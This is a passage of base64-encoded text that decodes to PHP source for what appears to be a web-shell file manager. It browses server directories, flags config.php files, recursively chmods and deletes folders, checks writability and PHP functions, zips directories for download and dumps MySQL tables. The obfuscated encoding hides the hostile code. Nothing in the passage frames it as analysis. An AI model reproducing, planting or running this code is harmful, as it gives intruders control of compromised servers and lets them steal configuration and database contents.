ZXIoKTsNCmVjaG8iPHRyIGJnY29sb3I9JyNBQTAwMDAnPjx0ZCBhbGlnbj0nY2VudGVyJyBub3dyYXAgd2lkdGg9JzI3JSc+PGI+RElSPC9iPjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInIG5vd3JhcCB3aWR0aD0nMTYlJz48Yj5GaXJzdCBkYXRhPC9iPjwvdGQ+PHRkIGFsaWduPSdjZW50ZXInIG5vd3JhcCB3aWR0aD0nMTYlJz48Yj5MYXN0IGRhdGE8L2I+PC90ZD48dGQgYWxpZ249J2NlbnRlcicgbm93cmFwIHdpZHRoPScxMSUnPjxiPlNpemU8L2I+PC90ZD48dGQgYWxpZ249J2NlbnRlcicgbm93cmFwIHdpZHRoPSc2JSc+PGI+UGVybTwvYj48L3RkPjwvdHI+IjsNCg0KJGRpcnM9QG9wZW5kaXIoJGRpcik7DQokZGlyX2kgPSAnMCc7DQp3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJJGZpbGVwYXRoPSIkZGlyLyRmaWxlIjsNCgkkYT1AaXNfZGlyKCRmaWxlcGF0aCk7DQoJaWYoJGE9PSIxIil7DQoJCWlmKCRmaWxlIT0iLi4iICYmICRmaWxlIT0iLiIpCXsNCgkJCSRjdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlY3RpbWUoJGZpbGVwYXRoKSk7DQoJCQkkbXRpbWU9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQkJJGRpcnBlcm09c3Vic3RyKGJhc2VfY29udmVydChmaWxlcGVybXMoJGZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQllY2hvICI8dHIgY2xhc3M9Ii5nZXRyb3diZygpLiI+XG4iOw0KCQkJZWNobyAiICA8dGQgc3R5bGU9XCJwYWRkaW5nLWxlZnQ6IDVweDtcIj5bPGEgaHJlZj1cIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIi8iLnVybGVuY29kZSgkZmlsZSkuIlwiPjxmb250IGNvbG9yPVwiIzAwNjY5OVwiPiRmaWxlPC9mb250PjwvYT5dPC90ZD5cbiI7DQoJCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj48c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4kY3RpbWU8L3NwYW4+PC90ZD5cbiI7DQoJCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj48c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4kbXRpbWU8L3NwYW4+PC90ZD5cbiI7DQoJCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj48c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4mbHQ7ZGlyJmd0Ozwvc3Bhbj48L3RkPlxuIjsNCgkJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiRkaXJwZXJtPC9zcGFuPjwvdGQ+XG4iOw0KCQkJZWNobyAiPC90cj5cbiI7DQoJCQkkZGlyX2krKzsNCgkJfSBlbHNlIHsNCgkJCWlmKCRmaWxlPT0iLi4iKSB7DQoJCQkJZWNobyAiPHRyIGNsYXNzPSIuZ2V0cm93YmcoKS4iPlxuIjsNCgkJCQllY2hvICIgIDx0ZCBub3dyYXAgY29sc3Bhbj1cIjZcIiBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPjxhIGhyZWY9XCI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiIvIi51cmxlbmNvZGUoJGZpbGUpLiJcIj5VcCBkaXI8L2E+PC90ZD5cbiI7DQoJCQkJZWNobyAiPC90cj5cbiI7DQoJCQl9DQoJCX0NCgl9DQp9Ly8gd2hpbGUNCkBjbG9zZWRpcigkZGlycyk7DQoNCmVjaG8iPHRyIGJnY29sb3I9JyNjY2NjY2MnPjx0ZCBjb2xzcGFuPSc2JyBoZWlnaHQ9JzUnPjwvdGQ+PC90cj48Rk9STSAgbWV0aG9kPSdQT1NUJz4iOw0KDQokZGlycz1Ab3BlbmRpcigkZGlyKTsNCiRmaWxlX2kgPSAnMCc7DQp3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJJGZpbGVwYXRoPSIkZGlyLyRmaWxlIjsNCgkkYT1AaXNfZGlyKCRmaWxlcGF0aCk7DQoJaWYoJGE9PSIwIil7DQoJCSRzaXplPUBmaWxlc2l6ZSgkZmlsZXBhdGgpOw0KCQkkc2l6ZT0kc2l6ZS8xMDI0IDsNCgkJJHNpemU9IEBudW1iZXJfZm9ybWF0KCRzaXplLCAzKTsNCgkJaWYgKEBmaWxlY3RpbWUoJGZpbGVwYXRoKSA9PSBAZmlsZW10aW1lKCRmaWxlcGF0aCkpIHsNCgkJCSRjdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlY3RpbWUoJGZpbGVwYXRoKSk7DQoJCQkkbXRpbWU9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRmaWxlcGF0aCkpOw0KCQl9IGVsc2Ugew0KCQkJJGN0aW1lPSI8c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4iLkBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVjdGltZSgkZmlsZXBhdGgpKS4iPC9zcGFuPiI7DQoJCQkkbXRpbWU9IjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiIuQGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRmaWxlcGF0aCkpLiI8L3NwYW4+IjsNCgkJfQ0KCQlAJGZpbGVwZXJtPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCgkJZWNobyAiPHRyIGNsYXNzPSIuZ2V0cm93YmcoKS4iPlxuIjsNCgkJZWNobyAiICA8dGQgc3R5bGU9XCJwYWRkaW5nLWxlZnQ6IDVweDtcIj4iOw0KCQllY2hvICI8SU5QVVQgdHlwZT1jaGVja2JveCB2YWx1ZT0xIG5hbWU9ZGxbJGZpbGVwYXRoXT4iOw0KCQllY2hvICI8YSBocmVmPVwiJGZpbGVwYXRoXCIgdGFyZ2V0PVwiX2JsYW5rXCI+JGZpbGU8L2E+PC90ZD5cbiI7DQogICAgICAgIGlmICAoJGZpbGUgPT0gJ2NvbmZpZy5waHAnKSB7DQoNCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiRmaWxlcGF0aFwiIHRhcmdldD1cIl9ibGFua1wiPjxmb250IGNvbG9yPSd5ZWxsb3cnPiRmaWxlPFNUUk9ORz48L1NUUk9ORz48L2E+PC90ZD5cbiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+PHNwYW4gY2xhc3M9XCJyZWRmb250XCI+JGN0aW1lPC9zcGFuPjwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj48c3BhbiBjbGFzcz1cInJlZGZvbnRcIj4kbXRpbWU8L3NwYW4+PC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwicmlnaHRcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+PHNwYW4gY2xhc3M9XCJyZWRmb250XCI+JHNpemU8L3NwYW4+IEtCPC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiRmaWxlcGVybTwvc3Bhbj48L3RkPlxuIjsNCgkJZWNobyAiPC90cj5cbiI7DQoJCSRmaWxlX2krKzsNCg0KDQoJfQ0KfS8vIHdoaWxlDQpAY2xvc2VkaXIoJGRpcnMpOw0KDQplY2hvICI8L0ZPUk0+XG4iOw0KZWNobyAiPC90YWJsZT5cbiI7DQp9Ly8gZW5kIGRpcg0KDQoNCg0KDQoNCg0KDQoJZnVuY3Rpb24gZGVidWdpbmZvKCkgew0KCQlnbG9iYWwgJHN0YXJ0dGltZTsNCgkJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsNCgkJZWNobyAiUHJvY2Vzc2VkIGluICR0b3RhbHRpbWUgc2Vjb25kKHMpIjsNCgl9DQoNCg0KCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgmJGFycmF5KSB7DQoJCXdoaWxlKGxpc3QoJGtleSwkdmFyKSA9IGVhY2goJGFycmF5KSkgew0KCQkJaWYgKCRrZXkgIT0gJ2FyZ2MnICYmICRrZXkgIT0gJ2FyZ3YnICYmIChzdHJ0b3VwcGVyKCRrZXkpICE9ICRrZXkgfHwgJycuaW50dmFsKCRrZXkpID09ICIka2V5IikpIHsNCgkJCQlpZiAoaXNfc3RyaW5nKCR2YXIpKSB7DQoJCQkJCSRhcnJheVska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFyKTsNCgkJCQl9DQoJCQkJaWYgKGlzX2FycmF5KCR2YXIpKSAgew0KCQkJCQkkYXJyYXlbJGtleV0gPSBzdHJpcHNsYXNoZXNfYXJyYXkoJHZhcik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYXJyYXk7DQoJfQ0KDQoNCglmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsNCgkJJG15ZGlyPUBkaXIoJGRlbGRpcik7DQoJCXdoaWxlKCRmaWxlPSRteWRpci0+cmVhZCgpKQl7DQoJCQlpZigoaXNfZGlyKCIkZGVsZGlyLyRmaWxlIikpIEFORCAoJGZpbGUhPSIuIikgQU5EICgkZmlsZSE9Ii4uIikpIHsNCgkJCQlAY2htb2QoIiRkZWxkaXIvJGZpbGUiLDA3NzcpOw0KCQkJCWRlbHRyZWUoIiRkZWxkaXIvJGZpbGUiKTsNCgkJCX0NCgkJCWlmIChpc19maWxlKCIkZGVsZGlyLyRmaWxlIikpIHsNCgkJCQlAY2htb2QoIiRkZWxkaXIvJGZpbGUiLDA3NzcpOw0KCQkJCUB1bmxpbmsoIiRkZWxkaXIvJGZpbGUiKTsNCgkJCX0NCgkJfQ0KCQkkbXlkaXItPmNsb3NlKCk7DQoJCUBjaG1vZCgiJGRlbGRpciIsMDc3Nyk7DQoJCXJldHVybiAoQHJtZGlyKCRkZWxkaXIpKSA/IDEgOiAwOw0KCX0NCg0KDQoJZnVuY3Rpb24gZGlyX3dyaXRlYWJsZSgkZGlyKSB7DQoJCWlmICghaXNfZGlyKCRkaXIpKSB7DQoJCQlAbWtkaXIoJGRpciwgMDc3Nyk7DQoJCX0NCgkJaWYoaXNfZGlyKCRkaXIpKSB7DQoJCQlpZiAoJGZwID0gQGZvcGVuKCIkZGlyL3Rlc3QudHh0IiwgJ3cnKSkgew0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQlAdW5saW5rKCIkZGlyL3Rlc3QudHh0Iik7DQoJCQkJJHdyaXRlYWJsZSA9IDE7DQoJCQl9IGVsc2Ugew0KCQkJCSR3cml0ZWFibGUgPSAwOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkd3JpdGVhYmxlOw0KCX0NCg0KDQoJZnVuY3Rpb24gZ2V0cm93YmcoKSB7DQoJCWdsb2JhbCAkYmdjb3VudGVyOw0KCQlpZiAoJGJnY291bnRlcisrJTI9PTApIHsNCgkJCXJldHVybiAiZmlyc3RhbHQiOw0KCQl9IGVsc2Ugew0KCQkJcmV0dXJuICJzZWNvbmRhbHQiOw0KCQl9DQoJfQ0KDQoNCglmdW5jdGlvbiBnZXRQYXRoKCRtYWlucGF0aCwgJHJlbGF0aXZlcGF0aCkgew0KCQlnbG9iYWwgJGRpcjsNCgkJJG1haW5wYXRoX2luZm8gICAgICAgICAgID0gZXhwbG9kZSgnLycsICRtYWlucGF0aCk7DQoJCSRyZWxhdGl2ZXBhdGhfaW5mbyAgICAgICA9IGV4cGxvZGUoJy8nLCAkcmVsYXRpdmVwYXRoKTsNCgkJJHJlbGF0aXZlcGF0aF9pbmZvX2NvdW50ID0gY291bnQoJHJlbGF0aXZlcGF0aF9pbmZvKTsNCgkJZm9yICgkaT0wOyAkaTwkcmVsYXRpdmVwYXRoX2luZm9fY291bnQ7ICRpKyspIHsNCgkJCWlmICgkcmVsYXRpdmVwYXRoX2luZm9bJGldID09ICcuJyB8fCAkcmVsYXRpdmVwYXRoX2luZm9bJGldID09ICcnKSBjb250aW51ZTsNCgkJCWlmICgkcmVsYXRpdmVwYXRoX2luZm9bJGldID09ICcuLicpIHsNCgkJCQkkbWFpbnBhdGhfaW5mb19jb3VudCA9IGNvdW50KCRtYWlucGF0aF9pbmZvKTsNCgkJCQl1bnNldCgkbWFpbnBhdGhfaW5mb1skbWFpbnBhdGhfaW5mb19jb3VudC0xXSk7DQoJCQkJY29udGludWU7DQoJCQl9DQoJCQkkbWFpbnBhdGhfaW5mb1tjb3VudCgkbWFpbnBhdGhfaW5mbyldID0gJHJlbGF0aXZlcGF0aF9pbmZvWyRpXTsNCgkJfQ0KCQlyZXR1cm4gaW1wbG9kZSgnLycsICRtYWlucGF0aF9pbmZvKTsNCgl9DQoNCg0KCWZ1bmN0aW9uIGdldHBocGNmZygkdmFybmFtZSkgew0KCQlzd2l0Y2goJHJlc3VsdCA9IGdldF9jZmdfdmFyKCR2YXJuYW1lKSkgew0KCQkJY2FzZSAwOg0KCQkJcmV0dXJuICJObyI7DQoJCQlicmVhazsNCgkJCWNhc2UgMToNCgkJCXJldHVybiAiWWVzIjsNCgkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQkJYnJlYWs7DQoJCX0NCgl9DQoNCg0KCWZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgew0KCQlyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICJZZXMiIDogIk5vIjsNCgl9DQoNCg0KCWNsYXNzIFBIUFppcHsNCgl2YXIgJG91dD0nJzsNCgkJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsNCiAgICAJCWlmIChAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCXsNCgkJCQkkY3VyZGlyID0gZ2V0Y3dkKCk7DQoJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOw0KCQkgICAgICAgIGVsc2V7DQoJCQkgICAgICAgICRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvL87EvP7B0LHtDQoJCQkJICAgIGZvcmVhY2goJGZpbGVsaXN0IGFzICRrPT4kdikgJGZpbGVsaXN0W109c3Vic3RyKCR2LHN0cmxlbigkZGlyKSsxKTsNCgkgICAgICAgICAgICB9DQoJCSAgICAgICAgaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7DQoJCQkJZWxzZSBjaGRpcigkY3VyZGlyKTsNCgkJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsNCgkJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsNCgkJCQkJCWlmIChpc19maWxlKCRmaWxlbmFtZSkpew0KCQkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICJyIik7DQoJCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUgKCRmaWxlbmFtZSkpOw0KCQkJCQkJCWZjbG9zZSAoJGZkKTsNCgkJCQkJCSAgICBpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlbmFtZSk7DQoJCQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOw0KCQkJCQljaGRpcigkY3VyZGlyKTsNCgkJCQl9DQoJCQkJcmV0dXJuIDE7DQoJCQl9DQoJCQllbHNlIHJldHVybiAwOw0KCQl9DQoNCg0KCQlmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsNCgkJCXN0YXRpYyAkYTsNCgkJCWlmIChpc19kaXIoJGRpcikpIHsNCgkJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KCQkJICAgCQl3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsNCgkJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpew0KICAgICAgICAgICAgCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQogICAgICAgICAgICAJCQkJaWYoaXNfZGlyKCRmKSkgJHRoaXMtPkdldEZpbGVMaXN0KCRmKTsNCgkJCQkJCQkkYVtdPSRmOw0KCSAgICAgICAgCQkJfQ0KCQkJCQl9DQogICAgIAkJCQljbG9zZWRpcigkZGgpOw0KICAgIAkJCX0NCgkJCX0NCgkJCXJldHVybiAkYTsNCgkJfQ0KDQoJCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsNCgkgICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCQl2YXIgJGVvZl9jdHJsX2RpciA9ICJceDUwXHg0Ylx4MDVceDA2XHgwMFx4MDBceDAwXHgwMCI7DQoJICAgIHZhciAkb2xkX29mZnNldCAgID0gMDsNCg0KCQlmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCSAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7DQoJCSAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgew0KCQkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQogICAgICAgIAkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCgkgICAgICAgIAkkdGltZWFycmF5WydtZGF5J10gICAgPSAxOw0KCQkgICAgCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgCQkkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOw0KCSAgICAgICAgfSAvLyBlbmQgaWYNCgkJICAgIHJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQoJCQkgICAgICAgICgkdGltZWFycmF5Wydob3VycyddIDw8IDExKSB8ICgkdGltZWFycmF5WydtaW51dGVzJ10gPDwgNSkgfCAoJHRpbWVhcnJheVsnc2Vjb25kcyddID4+IDEpOw0KCSAgICB9DQoNCgkJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgew0KCSAgICAgICAgJG5hbWUgICAgID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQoJICAgICAgICAkaGV4ZHRpbWUgPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddDQoJCSAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdDQoJCQkgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJICAgICAgLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOw0KCSAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkJJGZyICAgLj0gIlx4MTRceDAwIjsNCgkgICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7DQoJCSAgICAkZnIgICAuPSAiXHgwOFx4MDAiOw0KCQkJJGZyICAgLj0gJGhleGR0aW1lOw0KDQoJICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7DQoJCSAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsNCgkJCSR6ZGF0YSAgID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOw0KCQkgICAgJHpkYXRhICAgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCQkkZnIgICAgICAuPSBwYWNrKCdWJywgJGNyYyk7DQoJICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCQkkZnIgICAgICAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7DQoJCSAgICAkZnIgICAgICAuPSAkbmFtZTsNCg0KCQkJJGZyIC49ICR6ZGF0YTsNCg0KCSAgICAgICAgJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJICAgICRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KDQoJICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSAgICAkbmV3X29mZnNldCAgICAgICAgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsNCg0KCQkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCSAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCSAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7DQoJCSAgICAkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkgICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCSAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0Ow0KCQkgICAgJGNkcmVjIC49ICRuYW1lOw0KDQoJCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCSAgICB9DQoNCgkJZnVuY3Rpb24gZmlsZSgpIHsNCgkJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCgkJICAgIHJldHVybg0KCQkJICAgICRkYXRhIC4NCgkJCQkkY3RybGRpciAuDQoJICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4NCgkJICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLg0KCQkJICAgIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuDQoJCQkJcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4NCgkgICAgICAgICAgICBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLg0KCQkgICAgICAgICJceDAwXHgwMCI7DQoJICAgIH0NCgl9DQoNCglmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCQkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJsZTtcbiI7DQoJCSR0YWJsZWR1bXAgLj0gIkNSRUFURSBUQUJMRSAkdGFibGUgKFxuIjsNCg0KCQkkZmlyc3RmaWVsZD0xOw0KDQoJCSRmaWVsZHMgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAkdGFibGUiKTsNCgkJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiLFxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCgkJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiIERFRkFVTFQgJyRmaWVsZFtEZWZhdWx0XSciOw0KCQkJfQ0KCQkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7DQoJCQkJJHRhYmxlZHVtcCAuPSAiIE5PVCBOVUxMIjsNCgkJCX0NCgkJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsNCgkJCQkkdGFibGVkdW1wIC49ICIgJGZpZWxkW0V4dHJhXSI7DQoJCQl9DQoJCX0NCgkJbXlzcWxfZnJlZV9yZXN1bHQoJGZpZWxkcyk7DQoNCgkJJGtleXMgPSBteXNxbF9xdWVyeSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7DQoJCXdoaWxlICgka2V5ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGtleXMpKSB7DQoJCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiIGFuZCAka2V5WydOb25fdW5pcXVlJ10gPT0gMCkgew0KCQkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoJCQl9DQoJCQlpZighaXNfYXJyYXkoJGluZGV4WyRrbmFtZV0pKSB7DQoJCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQkJfQ0KCQkJJGluZGV4WyRrbmFtZV1bXSA9ICRrZXlbJ0NvbHVtbl9uYW1lJ107DQoJCX0NCgkJbXlzcWxfZnJlZV9yZXN1bHQoJGtleXMpOw0KDQoJCXdoaWxlKGxpc3QoJGtuYW1lLCAkY29sdW1ucykgPSBAZWFjaCgkaW5kZXgpKSB7DQoJCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsNCg0KCQkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsNCgkJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsNCgkJCQkJJGtuYW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQkJfQ0KCQkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOw0KCQkJfQ0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiXG4pO1xuXG4iOw0KCQlpZiAoJGZwKSB7DQoJCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOw0KCQl9IGVsc2Ugew0KCQkJZWNobyAkdGFibGVkdW1wOw0KCQl9DQoNCgkJJHJvd3MgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgkJJG51bWZpZWxkcyA9IG15c3FsX251bV9maWVsZHMoJHJvd3MpOw0KCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzKSkgew0KCQkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJCSRmaWVsZGNvdW50ZXI9LTE7DQoJCQkkZmly